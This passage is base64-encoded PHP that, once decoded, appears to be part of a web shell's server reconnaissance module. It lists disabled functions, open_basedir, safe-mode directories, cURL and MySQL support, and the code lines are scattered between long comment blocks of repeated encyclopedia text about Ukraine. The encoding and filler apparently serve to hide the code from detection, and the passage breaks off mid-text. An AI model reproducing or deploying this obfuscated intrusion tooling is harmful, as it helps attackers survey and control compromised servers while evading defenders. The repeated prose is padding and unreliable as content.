ZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJaWYoJHYpIHsKCQkJZWNobyAnPHNwYW4+Jy4kbi4nOiA8L3NwYW4+JzsKCQkJaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpCgkJCQllY2hvICR2Lic8YnI+JzsKCQkJZWxzZQoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+Jy4kdi4nPC9wcmU+JzsKCQl9Cgl9CgkKCXNob3dTZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOwoJc2hvd1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddKT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCXNob3dTZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7CglzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJc2hvd1NlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpOwoJc2hvd1NlY1BhcmFtKCdjVVJMIHN1cHBvcnQnLCBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpPydlbmFibGVkJzonbm8nKTsKCSR0ZW1wPWFycmF5KCk7CglpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2dldF9jbGllbnRfaW5mbycpKQovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZ